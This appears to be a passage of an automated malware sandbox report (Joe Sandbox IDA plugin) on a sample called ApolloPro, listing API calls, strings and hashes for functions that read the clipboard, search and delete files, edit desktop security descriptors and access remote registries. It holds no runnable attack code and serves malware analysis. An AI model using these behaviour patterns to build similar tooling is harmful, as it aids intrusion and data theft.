                                                                    • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00808FC3
                                                                    • CloseHandle.KERNEL32(?), ref: 00808FD4
                                                                    • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00808FEB
                                                                    • GetProcessWindowStation.USER32 ref: 00809004
                                                                    • SetProcessWindowStation.USER32(00000000), ref: 0080900E
                                                                    • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00809028
                                                                      • Part of subcall function 00808DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00808F27), ref: 00808DFE
                                                                      • Part of subcall function 00808DE9: CloseHandle.KERNEL32(?,?,00808F27), ref: 00808E10
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                                    • String ID: $default$winsta0
                                                                    • API String ID: 2063423040-1027155976
                                                                    • Opcode ID: 72422f1941580771482432e081cedbb8c97ab72e393c7e3e0cb600c3dca45bac
                                                                    • Instruction ID: 7a9a7971b75086594f93bff7296effd587b083b9146df2ada15d1aecded4fc54
                                                                    • Opcode Fuzzy Hash: 72422f1941580771482432e081cedbb8c97ab72e393c7e3e0cb600c3dca45bac
                                                                    • Instruction Fuzzy Hash: DD81557190020AFFDF519FA4CC49AAEBB79FF05304F044119F991E22A2DB368A15DF61
                                                                    Function 00824632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OpenClipboard.USER32(00840980), ref: 0082465C
                                                                    • IsClipboardFormatAvailable.USER32(0000000D), ref: 0082466A
                                                                    • GetClipboardData.USER32(0000000D), ref: 00824672
                                                                    • CloseClipboard.USER32 ref: 0082467E
                                                                    • GlobalLock.KERNEL32(00000000), ref: 0082469A
                                                                    • CloseClipboard.USER32 ref: 008246A4
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 008246B9
                                                                    • IsClipboardFormatAvailable.USER32(00000001), ref: 008246C6
                                                                    • GetClipboardData.USER32(00000001), ref: 008246CE
                                                                    • GlobalLock.KERNEL32(00000000), ref: 008246DB
                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 0082470F
                                                                    • CloseClipboard.USER32 ref: 0082481F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                                    • String ID:
                                                                    • API String ID: 3222323430-0
                                                                    • Opcode ID: f3b2f01cd615db4419ecbca50046ed7fe908c2460958b137284fbcf88e2ecd16
                                                                    • Instruction ID: 090b3807d212b06e18a0ab3653d670f9f443f8b68210bb75e2884d15610b455f
                                                                    • Opcode Fuzzy Hash: f3b2f01cd615db4419ecbca50046ed7fe908c2460958b137284fbcf88e2ecd16
                                                                    • Instruction Fuzzy Hash: 3C518B75204315ABE301EB64EC89F6F77A8FF96B00F00052DFA5AD21E2DB74D945CA62
                                                                    Function 0081CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0081CDD0
                                                                    • FindClose.KERNEL32(00000000), ref: 0081CE24
                                                                    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0081CE49
                                                                    • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0081CE60
                                                                    • FileTimeToSystemTime.KERNEL32(?,?), ref: 0081CE87
                                                                    • __swprintf.LIBCMT ref: 0081CED3
                                                                    • __swprintf.LIBCMT ref: 0081CF16
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • __swprintf.LIBCMT ref: 0081CF6A
                                                                      • Part of subcall function 007D38C8: __woutput_l.LIBCMT ref: 007D3921
                                                                    • __swprintf.LIBCMT ref: 0081CFB8
                                                                      • Part of subcall function 007D38C8: __flsbuf.LIBCMT ref: 007D3943
                                                                      • Part of subcall function 007D38C8: __flsbuf.LIBCMT ref: 007D395B
                                                                    • __swprintf.LIBCMT ref: 0081D007
                                                                    • __swprintf.LIBCMT ref: 0081D056
                                                                    • __swprintf.LIBCMT ref: 0081D0A5
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                                    • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                    • API String ID: 3953360268-2428617273
                                                                    • Opcode ID: 0fa2ae0c7bbc51f60810595120fc7707eda2c7799fe40dbc58f3f2640b0459bc
                                                                    • Instruction ID: e0767c5778f19f6cd687ce418873614013b672692db50962b6c67ca1a234e2ed
                                                                    • Opcode Fuzzy Hash: 0fa2ae0c7bbc51f60810595120fc7707eda2c7799fe40dbc58f3f2640b0459bc
                                                                    • Instruction Fuzzy Hash: B1A11BB1504304ABC710EBA4C989EAFB7ECFF95704F40091DF595C6192EB78EA49CB62
                                                                    Function 0081F5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0081F5F9
                                                                    • _wcscmp.LIBCMT ref: 0081F60E
                                                                    • _wcscmp.LIBCMT ref: 0081F625
                                                                    • GetFileAttributesW.KERNEL32(?), ref: 0081F637
                                                                    • SetFileAttributesW.KERNEL32(?,?), ref: 0081F651
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0081F669
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F674
                                                                    • FindFirstFileW.KERNEL32(*.*,?), ref: 0081F690
                                                                    • _wcscmp.LIBCMT ref: 0081F6B7
                                                                    • _wcscmp.LIBCMT ref: 0081F6CE
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081F6E0
                                                                    • SetCurrentDirectoryW.KERNEL32(0086B578), ref: 0081F6FE
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 0081F708
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F715
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F727
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                                    • String ID: *.*
                                                                    • API String ID: 1803514871-438819550
                                                                    • Opcode ID: d1be85e92fcc0a1d17900517c2888465fc4b8e8b6b929d18c0b429cbfe12d78d
                                                                    • Instruction ID: 3f806da706a96f0c88b24a940df9ff8be84b498dcd057831b9f5e4eca6ad5b8e
                                                                    • Opcode Fuzzy Hash: d1be85e92fcc0a1d17900517c2888465fc4b8e8b6b929d18c0b429cbfe12d78d
                                                                    • Instruction Fuzzy Hash: 3F31E371600219AADB109FB4EC4DAEF77ACFF09321F100165FA14D21E1EB74CA84CE60
                                                                    Function 00830EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00830FB3
                                                                    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00840980,00000000,?,00000000,?,?), ref: 00831021
                                                                    • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00831069
                                                                    • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 008310F2
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00831412
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 0083141F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Close$ConnectCreateRegistryValue
                                                                    • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                    • API String ID: 536824911-966354055
                                                                    • Opcode ID: c0fc91a90138f6dbee40c29d3f5167dddc99a2f8265938933e8aaace115dc360
                                                                    • Instruction ID: 49f6ddccd686a0a9aca1fc7a635118907937925d26bffc400248682a48c2ea8a
                                                                    • Opcode Fuzzy Hash: c0fc91a90138f6dbee40c29d3f5167dddc99a2f8265938933e8aaace115dc360
                                                                    • Instruction Fuzzy Hash: 550213752006019FCB14EF24C859A6AB7E5FF89714F04895DF99A9B3A2CB38EC41CB91
                                                                    Function 0081F735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 0081F756
                                                                    • _wcscmp.LIBCMT ref: 0081F76B
                                                                    • _wcscmp.LIBCMT ref: 0081F782
                                                                      • Part of subcall function 00814875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00814890
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0081F7B1
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F7BC
                                                                    • FindFirstFileW.KERNEL32(*.*,?), ref: 0081F7D8
                                                                    • _wcscmp.LIBCMT ref: 0081F7FF
                                                                    • _wcscmp.LIBCMT ref: 0081F816
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 0081F828
                                                                    • SetCurrentDirectoryW.KERNEL32(0086B578), ref: 0081F846
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 0081F850
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F85D
                                                                    • FindClose.KERNEL32(00000000), ref: 0081F86F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                                    • String ID: *.*
                                                                    • API String ID: 1824444939-438819550
                                                                    • Opcode ID: d6163b86700a4fcb96188fabcc0a8d7183431d8a698d9cfb1c4d6969d88aefcf
                                                                    • Instruction ID: 3cfdeee22fc6c36c81624426eb95b75490bd971cf8619a3ff40942e0754e4c61
                                                                    • Opcode Fuzzy Hash: d6163b86700a4fcb96188fabcc0a8d7183431d8a698d9cfb1c4d6969d88aefcf
                                                                    • Instruction Fuzzy Hash: DC31E576500659BADB109BB4DC8CADF77ACFF09325F100175EA15E22E2DB74CA85CE60
                                                                    Function 008088CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00808E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00808E3C
                                                                      • Part of subcall function 00808E20: GetLastError.KERNEL32(?,00808900,?,?,?), ref: 00808E46
                                                                      • Part of subcall function 00808E20: GetProcessHeap.KERNEL32(00000008,?,?,00808900,?,?,?), ref: 00808E55
                                                                      • Part of subcall function 00808E20: HeapAlloc.KERNEL32(00000000,?,00808900,?,?,?), ref: 00808E5C
                                                                      • Part of subcall function 00808E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00808E73
                                                                      • Part of subcall function 00808EBD: GetProcessHeap.KERNEL32(00000008,00808916,00000000,00000000,?,00808916,?), ref: 00808EC9
                                                                      • Part of subcall function 00808EBD: HeapAlloc.KERNEL32(00000000,?,00808916,?), ref: 00808ED0
                                                                      • Part of subcall function 00808EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00808916,?), ref: 00808EE1
                                                                    • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00808931
                                                                    • _memset.LIBCMT ref: 00808946
                                                                    • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00808965
                                                                    • GetLengthSid.ADVAPI32(?), ref: 00808976
                                                                    • GetAce.ADVAPI32(?,00000000,?), ref: 008089B3
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 008089CF
                                                                    • GetLengthSid.ADVAPI32(?), ref: 008089EC
                                                                    • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 008089FB
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00808A02
                                                                    • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00808A23
                                                                    • CopySid.ADVAPI32(00000000), ref: 00808A2A
                                                                    • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00808A5B
                                                                    • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00808A81
                                                                    • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00808A95
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                    • String ID:
                                                                    • API String ID: 3996160137-0
                                                                    • Opcode ID: 6d117f6e2d2d04a1236be9d31b35486379d731b12c053d13c8933e896faee064
                                                                    • Instruction ID: 7234fd744b847c66d6022fdcf1fccb27c1377cf8c38ed955aad6599b908e3df2
                                                                    • Opcode Fuzzy Hash: 6d117f6e2d2d04a1236be9d31b35486379d731b12c053d13c8933e896faee064
                                                                    • Instruction Fuzzy Hash: 6A614575A00219FFDF40DFA5DC85AAEBBB9FF05300F04822AE955E7290DB319A45CB61
                                                                    Function 00830A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0083147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0083040D,?,?), ref: 00831491
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00830B0C
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00830BAB
                                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00830C43
                                                                    • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00830E82
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 00830E8F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 1240663315-0
                                                                    • Opcode ID: 76fd4d5d9c5b4f6f2f7e324da46cd4926096fed1e5ddf462e19f364f4ee037be
                                                                    • Instruction ID: 759759cd69f61f4e481eeba67636d0b9e917e9949070bec2a1dacfea4c3559b6
                                                                    • Opcode Fuzzy Hash: 76fd4d5d9c5b4f6f2f7e324da46cd4926096fed1e5ddf462e19f364f4ee037be
                                                                    • Instruction Fuzzy Hash: 31E13C35204214AFCB14DF28C895E6BBBE5FF89714F04896DF54ADB262DA34E901CF91
                                                                    Function 0081443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __swprintf.LIBCMT ref: 00814451
                                                                    • __swprintf.LIBCMT ref: 0081445E
                                                                      • Part of subcall function 007D38C8: __woutput_l.LIBCMT ref: 007D3921
                                                                    • FindResourceW.KERNEL32(?,?,0000000E), ref: 00814488
                                                                    • LoadResource.KERNEL32(?,00000000), ref: 00814494
                                                                    • LockResource.KERNEL32(00000000), ref: 008144A1
                                                                    • FindResourceW.KERNEL32(?,?,00000003), ref: 008144C1
                                                                    • LoadResource.KERNEL32(?,00000000), ref: 008144D3
                                                                    • SizeofResource.KERNEL32(?,00000000), ref: 008144E2
                                                                    • LockResource.KERNEL32(?), ref: 008144EE
                                                                    • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 0081454F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                                    • String ID:
                                                                    • API String ID: 1433390588-0
                                                                    • Opcode ID: 46c171e4d70ec81ccd009fd3fe8cd9dad4b3481fa28f11697899ca3cc2ccb867
                                                                    • Instruction ID: 8b53bc396366cb1528bac5824ed43a8a8f77a46b5ff065bdc3289d76fba742f5
                                                                    • Opcode Fuzzy Hash: 46c171e4d70ec81ccd009fd3fe8cd9dad4b3481fa28f11697899ca3cc2ccb867
                                                                    • Instruction Fuzzy Hash: 92319E7550122AABDB119FA0EC48AFB7BADFF05305F004426FA16D6150D774DAA0DBA0
                                                                    Function 00824830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                    • String ID:
                                                                    • API String ID: 1737998785-0
                                                                    • Opcode ID: 5e62746a4292ca09a7b0e5ea09ca8c8d75676387a832a6365c35f601e5f278f2
                                                                    • Instruction ID: 36d074ec908f6a3067ba3baace5b2f9c80b0168f862b6eded5e8bfd6053ed616
                                                                    • Opcode Fuzzy Hash: 5e62746a4292ca09a7b0e5ea09ca8c8d75676387a832a6365c35f601e5f278f2
                                                                    • Instruction Fuzzy Hash: 0B21A3352052249FDB11AF24EC0DB6E7BA8FF55711F018015FA0ADB2A2CB74AD51CF95
                                                                    Function 00813CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C2A58,?,00008000), ref: 007D02A4
                                                                      • Part of subcall function 00814FEC: GetFileAttributesW.KERNEL32(?,00813BFE), ref: 00814FED
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 00813D96
                                                                    • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00813E3E
                                                                    • MoveFileW.KERNEL32(?,?), ref: 00813E51
                                                                    • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00813E6E
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 00813E90
                                                                    • FindClose.KERNEL32(00000000,?,?,?,?), ref: 00813EAC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                                    • String ID: \*.*
                                                                    • API String ID: 4002782344-1173974218
                                                                    • Opcode ID: 62efc4df820efbe6e77af5ad755095eb6ab91dc2bfe57ea0ea83a7ee4d0583b6
                                                                    • Instruction ID: 0c285dad2e7f376f40279fea85446bb14292264fe429a214e27b6b84b91d0135
                                                                    • Opcode Fuzzy Hash: 62efc4df820efbe6e77af5ad755095eb6ab91dc2bfe57ea0ea83a7ee4d0583b6
                                                                    • Instruction Fuzzy Hash: 4C518D3180124DAACF15EBA0DA96EEDB779BF12300F60016DE442F6192EF356F49CB61
                                                                    Function 0081FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                    • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0081FA83
                                                                    • FindClose.KERNEL32(00000000), ref: 0081FB96
                                                                      • Part of subcall function 007B52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007B52E6
                                                                    • Sleep.KERNEL32(0000000A), ref: 0081FAB3
                                                                    • _wcscmp.LIBCMT ref: 0081FAC7
                                                                    • _wcscmp.LIBCMT ref: 0081FAE2
                                                                    • FindNextFileW.KERNEL32(?,?), ref: 0081FB80
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
                                                                    • String ID: *.*
